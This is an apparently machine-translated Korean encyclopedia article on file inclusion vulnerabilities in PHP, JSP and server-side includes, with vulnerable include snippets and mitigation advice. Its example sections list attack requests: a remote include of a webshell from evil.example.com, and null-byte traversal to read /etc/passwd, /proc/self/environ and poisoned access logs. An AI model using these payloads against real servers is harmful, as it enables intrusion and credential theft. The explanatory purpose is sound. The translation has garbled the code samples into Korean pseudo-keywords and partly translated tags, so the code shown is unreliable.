파일 포함 취약성
File inclusion vulnerability파일 포함 취약성은 스크립팅 실행 시간에 의존하는 웹 응용 프로그램에 가장 일반적으로 영향을 미치는 웹 취약성의 한 유형입니다.이 문제는 응용 프로그램이 공격자가 런타임에 실행되는 파일을 제어할 수 있는 방식으로 공격자가 제어하는 변수를 사용하여 실행 가능한 코드에 대한 경로를 구축할 때 발생합니다.파일 포함 취약성은 일반적인 디렉터리 트래버설 공격과 구별되는데, 디렉터리 트래버설은 무단 파일 시스템 액세스를 획득하는 방법이며, 파일 포함 취약성은 응용 프로그램이 실행을 위해 코드를 로드하는 방법을 전복한다는 점입니다.파일 포함 취약성에 대한 공격이 성공하면 영향을 받는 웹 응용 프로그램을 실행하는 웹 서버에서 원격 코드가 실행됩니다.공격자는 원격 코드 실행을 사용하여 웹 서버에 웹 셸을 만들 수 있으며 이 셸은 웹 사이트 손상에 사용될 수 있습니다.
포함 유형
원격 파일 포함
RFI(Remote File Inclusion)는 웹 응용 프로그램이 원격 파일을 다운로드하고 실행할 때 발생합니다.이러한 원격 파일은 일반적으로 HTTP 또는 FTP URI 형태로 웹 응용 프로그램에 사용자가 제공하는 매개 변수로 제공됩니다.
로컬 파일 포함
로컬 파일 포함(LFI)은 원격 파일 포함 취약성과 유사하지만 원격 파일을 포함하는 대신 현재 서버의 로컬 파일, 즉 파일만 실행에 포함할 수 있습니다.이 문제는 웹 서버의 액세스 로그와 같은 공격자가 제어하는 데이터를 포함하는 파일을 포함함으로써 원격 코드 실행으로 이어질 수 있습니다.
프로그래밍 언어
PHP
PHP에서 주된 원인은 실행을 위한 파일이 포함된 파일 시스템 기능과 함께 검증되지 않은 사용자 입력을 사용하기 때문입니다.가장 주목할 만한 것은include
그리고.require
진술들.대부분의 취약점은 초보 프로그래머들이 PHP 프로그래밍 언어의 모든 기능에 익숙하지 않기 때문일 수 있습니다.PHP 언어에는 파일 시스템 기능이 활성화된 경우 URL을 사용하여 원격 위치에서 데이터를 검색할 수 있는 지시문이 있습니다.[1]지시는allow_url_fopen
PHP 버전 <= 4.3.4 및allow_url_include
PHP 5.2.0 이후로.PHP 5.x에서는 이 지시어가 기본적으로 비활성화되어 있으며 이전 버전에서는 기본적으로 활성화되어 있습니다.[2]공격자는 이 취약성을 이용하기 위해 이러한 함수 중 하나에 전달되는 변수를 변경하여 원격 리소스의 악성 코드를 포함하게 합니다.이 취약성을 완화하려면 모든 사용자 입력을 사용하기 전에 검증해야 합니다.[3][4]
예
요청에 의해 지정된 파일이 포함된 PHP 스크립트를 생각해 보십시오.
<? 한다면 (세트가($_GET['언어'])) { 포함하다($_GET['언어'] . 'php'); } ?>
<form method="get"> <select name="language"> <option value="English"><option value="french">프랑스어</option>...</select> <입력형="submit"> </form>
개발자는 다음을 읽으려고 했습니다.english.php
아니면french.php
, 사용자가 선택한 언어를 표시하도록 응용프로그램의 동작을 변경합니다.그러나 다른 경로를 주입하는 것은 가능합니다.language
매개 변수.
/vulnerable.php?language=http://evil.example.com/webshell.txt?
- 악성 코드(원격 파일 포함)가 들어 있는 원격 호스팅된 파일을 주입합니다./vulnerable.php?language=C:\\ftp\\upload\\exploit
- 이미 업로드된 파일에서 코드를 실행합니다.exploit.php
(로컬 파일 포함 취약성)/vulnerable.php?language=C:\\notes.txt%00
- 예: NULL 메타 문자를 사용하여 를 제거합니다..php
접미사, 다음 파일에 대한 액세스 허용.php
. 이 null 바이트 주입 사용은 PHP 5.3에서 패치되었으며 LFI/RFI 공격에 더 이상 사용할 수 없습니다.[5]/vulnerable.php?language=../../../../../etc/passwd%00
- 공격자가 의 내용을 읽을 수 있도록 합니다./etc/passwd
디렉터리 트래버설 공격을 통해 유닉스 계열 시스템에 파일을 저장할 수 있습니다./vulnerable.php?language=../../../../../proc/self/environ%00
- 공격자가 의 내용을 읽을 수 있도록 합니다./proc/self/environ
디렉터리 트래버설 공격을 통해 유닉스 계열 시스템에 파일을 저장할 수 있습니다.공격자는 HTTP 헤더를 수정할 수 있습니다(예:User-Agent
이 공격에서는 원격 코드 실행을 이용하기 위한 PHP 코드가 됩니다.
이 경우 가장 좋은 해결책은 허용된 언어 매개변수의 화이트리스트를 사용하는 것입니다.화이트리스트와 같은 강력한 입력 유효성 검사 방법을 사용할 수 없는 경우 입력 필터링 또는 전달된 경로의 유효성 검사를 사용하여 의도하지 않은 문자 및 문자 패턴이 포함되어 있지 않은지 확인합니다.그러나 이를 위해서는 가능한 모든 문제가 있는 문자 조합을 예상해야 할 수도 있습니다.URL이나 폼 매개 변수를 사용하여 경로를 동적으로 생성하는 것보다 미리 정의된 Switch/Case 문을 사용하여 포함할 파일을 결정하는 것이 더 안전한 솔루션입니다.
Java 서버 페이지(JSP)
JSP(JavaServer Pages)는 런타임에 실행할 파일을 포함할 수 있는 스크립트 언어입니다.
예
다음 스크립트는 파일 포함 취약성에 취약합니다.
<% 문자열 p = request.getParameter("p"); @include 파일="<%="includes/" + p +".jsp" %>
/vulnerable.jsp?p=../../../../var/log/access.log%00
- PHP와 달리 JSP는 Null byte injection의 영향을 받으며, 이 매개변수는 웹 서버의 액세스 로그에 있는 JSP 명령을 실행합니다.
서버측 포함(SSI)
서버 측면 포함은 매우 흔하지 않으며 일반적으로 기본 웹 서버에서 사용할 수 없습니다.서버측 포함을 사용하여 취약한 웹 서버에서 원격 코드 실행을 얻을 수 있습니다.[6]
예
다음 코드는 원격 파일 포함 취약성에 취약합니다.
<!DOCTYPE html> <html> <head> <title>테스트 파일 </title> </head> <body> <!--#include 파일="USER_LANGE"--> </body> </html>
위 코드는 XSS 취약점이 아닌 서버에서 실행할 새 파일을 포함한 것입니다.
참고 항목
- 공격(컴퓨팅)
- 코드주입
- RFI 테스트를 포함하는 오픈소스 침투 테스트 도구인 메타스플로이트 프로젝트
- SQL 주입
- 위협(컴퓨터)
- w3af, 오픈 소스 웹 응용 프로그램 보안 스캐너
- 기본 자격 증명 취약성
참고문헌
- ^ "Using remote files". PHP. Retrieved March 3, 2013.
- ^ "List of php.ini directives". PHP. Retrieved October 21, 2016.
- ^ "Remote File Inclusion". The Web Application Security Consortium. Retrieved March 3, 2013.
- ^ "CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')". Common Weakness Enumeration (CWE). Mitre. Retrieved March 3, 2013.
- ^ "PHP :: Request #39863 :: file_exists() silently truncates after a null byte". bugs.php.net. Retrieved 2016-10-21.
- ^ "Apache httpd Tutorial: Introduction to Server Side Includes - Apache HTTP Server Version 2.4". httpd.apache.org. Retrieved 2016-10-21.
외부 링크
- 웹 Application Security Consortium의 원격 파일 포함
- 로컬 파일 포함
- WP Hacked Help에서 로컬 & Remove 파일 포함 워드프레스